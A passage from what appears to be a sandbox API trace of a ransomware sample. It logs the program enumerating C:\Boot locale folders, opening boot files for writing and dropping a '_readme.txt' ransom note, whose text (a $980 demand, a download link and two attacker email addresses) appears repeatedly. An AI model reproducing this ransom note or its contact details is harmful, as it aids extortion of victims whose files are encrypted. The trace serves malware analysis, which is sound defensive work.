$980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.822] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.823] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.823] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.823] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.823] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0111.823] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.823] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.823] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.823] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.823] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.823] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.823] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0111.823] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.824] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.824] PathFindFileNameW (pszPath="") returned="" [0111.824] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.824] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.824] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.824] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.824] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.824] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0111.824] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0111.824] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.825] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.825] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.825] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.825] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.825] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.825] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0111.825] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.825] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.825] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.825] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.825] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.826] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.826] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0111.826] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.826] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.826] PathFindFileNameW (pszPath="") returned="" [0111.826] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.826] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.826] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.826] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.826] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0111.826] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0111.827] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.827] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.827] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.827] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.827] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.827] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.827] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.827] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0111.827] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.827] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, 